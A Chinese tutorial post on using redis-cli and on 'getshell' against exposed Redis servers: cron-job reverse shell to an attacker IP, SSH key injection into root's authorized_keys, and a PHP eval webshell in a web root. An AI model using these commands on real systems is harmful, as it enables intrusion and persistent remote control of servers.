redis服务连接及常规操作和redis服务getshell

2024-05-13 13:20

本文主要是介绍redis服务连接及常规操作和redis服务getshell,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

简介

Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

redis服务于传统服务器不同,redis是内存数据库,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作,因此redis被广泛应用于缓存。

连接redis服务

首先下载redis-cli(专用于redis服务的命令程序)

下载程序

wget http://download.redis.io/redis-stable.tar.gz

解压

tar -zxf redis-stable.tar.gz

编译

cd redis-stable  #进入目录

make                #编译文件

进入解压好的文件夹(这里我将此程序换了位置改了名字)

编译文件

此时会出现很多数据,不要退出,可能会跑一会儿

创建链接

编译完成后需要将src目录下的redis_cli程序创建一个链接,方便后续利用

ln -s /home/kali/tools/redis_连接工具/src/redis-cli /usr/local/bin/redis-cli

这样就能再任何目录运行此命令

redis的一些常用命令

  1. 启动 Redis 服务:

    redis-server
  2. 连接到 Redis 服务:

    redis-cli
  3. 设置键值对:

    SET key value
  4. 获取键对应的值:

    GET key
  5. 删除键值对:

    DEL key
  6. 检查键是否存在:

    EXISTS key
  7. 设置键的过期时间:

    EXPIRE key seconds
  8. 查看键的剩余过期时间:

    TTL key
  9. 查看键的类型:

    TYPE key
  10. 获取所有键:

    KEYS pattern
  11. 设置列表:

    LPUSH key value1 [value2 ...]
  12. 获取列表:

    LRANGE key start stop
  13. 设置哈希表:

    HSET key field value
  14. 获取哈希表中的值:

    HGET key field
  15. 设置集合:

    SADD key member1 [member2 ...]
  16. 获取集合:

    SMEMBERS key
  17. 获取有关Redis服务器的信息和统计信息:

    info
  18. 获取索引为 0 的数据库中键的数量

    dbsize

redis-getshell

常规的拿到shell的方式有三种

  1. 写定时任务拿到shell
  2. 通过写ssh key的方式拿到shell
  3. 直接再目录里写webshell

写定时任务拿到shell

其实和常规写定时任务是一样的道理,也都是写个文件到crontalbs这些定时文件夹里,或者直接覆盖crontab

  1. 第一步:上线redis

    redis-cli -h 10.129.136.187 -p 6379

  2. 第二步:设置文件夹路径为/var/spool/cron/crontabs

    config set dir /var/spool/cron/crontabs

  3. 第三步:设置备份文件名

    config set dbfilename getshell

  4. 第四步:设置键对值

    set shell '\n\n\n*****bash -i >& /dev/tcp/攻击机ip/攻击机监听端口 0>&1'

  5. 第五步:保存

    save

然后等待一会儿等攻击机监听到流量即可

通过写ssh key的方式拿到shell

此方法成功的先决条件是

  1. redis服务是以root登录的
  2. 开始22端口并且允许使用密钥登录
  1. 首先攻击机本地生成一个公钥文件

    ssh-keygen -t rsa

  2. 然后得到一个公钥和私钥
  3. 给公钥添加换行符写到txt文件里

    (echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") > pub.txt

  4. 写入公钥到被攻击机

    config set dir /root/.ssh
    config set dbfilename 'authorized_keys'
    config set shell 'pub.txt的值'
    save
  5. 最后使用攻击机生成的私钥登录即可
    ssh -i id_rsa root@被攻击机ip

直接写webshell

先决条件

  1. 已知网站根目录
  2. 登录redis的用户在网站根目录有可写权限
  1. config set dir /var/www/123.com/html
  2. config set dbfilename shell.php
  3. set shell '<?= eval($_POST[a]);>'
  4. save

后续直接使用蚁剑冰蝎这些上线即可

这篇关于redis服务连接及常规操作和redis服务getshell的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/985819

相关文章

Redis中6种缓存更新策略详解

《Redis中6种缓存更新策略详解》Redis作为一款高性能的内存数据库,已经成为缓存层的首选解决方案,然而,使用缓存时最大的挑战在于保证缓存数据与底层数据源的一致性,本文将介绍Redis中6种缓存更... 目录引言策略一:Cache-Aside(旁路缓存)策略工作原理代码示例优缺点分析适用场景策略二:Re

Git可视化管理工具(SourceTree)使用操作大全经典

《Git可视化管理工具(SourceTree)使用操作大全经典》本文详细介绍了SourceTree作为Git可视化管理工具的常用操作,包括连接远程仓库、添加SSH密钥、克隆仓库、设置默认项目目录、代码... 目录前言:连接Gitee or github,获取代码:在SourceTree中添加SSH密钥:Cl

MySQL 多表连接操作方法(INNER JOIN、LEFT JOIN、RIGHT JOIN、FULL OUTER JOIN)

《MySQL多表连接操作方法(INNERJOIN、LEFTJOIN、RIGHTJOIN、FULLOUTERJOIN)》多表连接是一种将两个或多个表中的数据组合在一起的SQL操作,通过连接,... 目录一、 什么是多表连接?二、 mysql 支持的连接类型三、 多表连接的语法四、实战示例 数据准备五、连接的性

MySQL中的分组和多表连接详解

《MySQL中的分组和多表连接详解》:本文主要介绍MySQL中的分组和多表连接的相关操作,本文通过实例代码给大家介绍的非常详细,感兴趣的朋友一起看看吧... 目录mysql中的分组和多表连接一、MySQL的分组(group javascriptby )二、多表连接(表连接会产生大量的数据垃圾)MySQL中的

使用Java将各种数据写入Excel表格的操作示例

《使用Java将各种数据写入Excel表格的操作示例》在数据处理与管理领域,Excel凭借其强大的功能和广泛的应用,成为了数据存储与展示的重要工具,在Java开发过程中,常常需要将不同类型的数据,本文... 目录前言安装免费Java库1. 写入文本、或数值到 Excel单元格2. 写入数组到 Excel表格

redis中使用lua脚本的原理与基本使用详解

《redis中使用lua脚本的原理与基本使用详解》在Redis中使用Lua脚本可以实现原子性操作、减少网络开销以及提高执行效率,下面小编就来和大家详细介绍一下在redis中使用lua脚本的原理... 目录Redis 执行 Lua 脚本的原理基本使用方法使用EVAL命令执行 Lua 脚本使用EVALSHA命令

Python中pywin32 常用窗口操作的实现

《Python中pywin32常用窗口操作的实现》本文主要介绍了Python中pywin32常用窗口操作的实现,pywin32主要的作用是供Python开发者快速调用WindowsAPI的一个... 目录获取窗口句柄获取最前端窗口句柄获取指定坐标处的窗口根据窗口的完整标题匹配获取句柄根据窗口的类别匹配获取句

Python位移操作和位运算的实现示例

《Python位移操作和位运算的实现示例》本文主要介绍了Python位移操作和位运算的实现示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一... 目录1. 位移操作1.1 左移操作 (<<)1.2 右移操作 (>>)注意事项:2. 位运算2.1

Redis 热 key 和大 key 问题小结

《Redis热key和大key问题小结》:本文主要介绍Redis热key和大key问题小结,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录一、什么是 Redis 热 key?热 key(Hot Key)定义: 热 key 常见表现:热 key 的风险:二、

C#使用StackExchange.Redis实现分布式锁的两种方式介绍

《C#使用StackExchange.Redis实现分布式锁的两种方式介绍》分布式锁在集群的架构中发挥着重要的作用,:本文主要介绍C#使用StackExchange.Redis实现分布式锁的... 目录自定义分布式锁获取锁释放锁自动续期StackExchange.Redis分布式锁获取锁释放锁自动续期分布式